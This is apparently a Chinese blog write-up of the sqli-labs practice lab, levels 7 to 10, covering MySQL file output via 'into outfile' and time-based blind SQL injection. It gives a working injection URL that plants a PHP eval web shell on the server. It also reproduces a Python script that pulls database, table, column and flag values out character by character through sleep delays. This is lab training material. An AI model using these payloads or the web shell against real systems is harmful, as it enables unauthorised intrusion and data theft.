sqli-lab--writeup(7~10)文件输出,时间布尔盲注

前置知识点:
1、outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”

示例:

mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;

2、文件是自动创建的。

3,读写文件函数调用的限制

因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。,

其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能

这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
即:需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
注意:
需要有绝对路径
文件名里路径里必须用\代替/

less7:

在这里插入图片描述
可知有三个显示位

根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+

最后使用蚁剑连接shell

less8

手工注入方式与5节基本相同

less9

知识点: 基于时间型SQL盲注

注入SQL 代码之后, 存在以下两种情况:

如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。

如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。

产生一个疑问: 注入的SQL 代码到底被后台数据库执行了没有? 即web 应用程序是否存在SQL 注入?

面对这种情况, 之前讲的基于布尔的SQL 盲注很难发挥作用了( 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面) 。

时间盲注: 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。这时, 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入***, 即基于时间型SQL 盲注。

所以方法和less5相通,只是不以回显而是时间长短来判断语句的执行情况

找了份大佬的脚本:

import requests
import time
import datetime

url = "http://localhost/sql-labs/Less-9/?id=1'"

def get_dbname():
    dbname = ''
    for i in range(1,9):
        for k in range(32,127):
            payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)
            # payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)
            #if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)
            time1 = datetime.datetime.now()
            #获得提交payload之前的时间
            res = requests.get(url + payload)
            time2 = datetime.datetime.now()
            #获得payload提交后的时间
            difference = (time2 - time1).seconds
            #time,time2时间差,seconds是只查看秒
            if difference > 1:
                dbname += chr(k)
            else:
                continue
        print("数据库名为->"+dbname)
get_dbname()

def get_table():
    table1 = ''
    table2 = ''
    table3 = ''
    table4 = ''
    for i in range(5):
        for j in range(6):
            for k in range(32,127):
                payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
                time1 = datetime.datetime.now()
                res = requests.get(url + payload)
                time2 = datetime.datetime.now()
                difference = (time2-time1).seconds
                if difference > 1:
                    if i == 0:
                        table1 += chr(k)
                        print("第一个表为->"+table1)
                    elif i == 1:
                        table2 += chr(k)
                        print("第二个表为->"+table2)
                    elif i == 3:
                        table3 += chr(k)
                        print("第三个表为->"+table3)
                    elif i == 4:
                        table4 += chr(k)
                        print("第四个表为->"+table4)
                    else:
                        break
get_table()

def get_column():
    column1 = ''
    column2 = ''
    column3 = ''
    for i in range(3):
        for j in range(1,9):
            for k in range(32,127):
                payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
                time1 = datetime.datetime.now()
                res = requests.get(url+payload)
                time2 = datetime.datetime.now()
                difference = (time2-time1).seconds
                if difference > 1:
                    if i == 0:
                        column1 += chr(k)
                        print("字段一为->"+column1)
                    if i == 1:
                        column2 += chr(k)
                        print("字段二为->"+column2)
                    if i == 2:
                        column3 += chr(k)
                        print("字段三为->"+column3)
                    else:
                        break
get_column()

def get_flag():
    flag = ''
    for i in range(30):
        for k in range(32,127):
            payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)
            time1 = datetime.datetime.now()
            res = requests.get(url+payload)
            time2 = datetime.datetime.now()
            difference = (time2-time1).seconds
            if difference > 1:
                flag += chr(k)
                print("flag为->"+flag)
get_flag()

less10

和9相同,单引号改为双引号

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1gpig安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值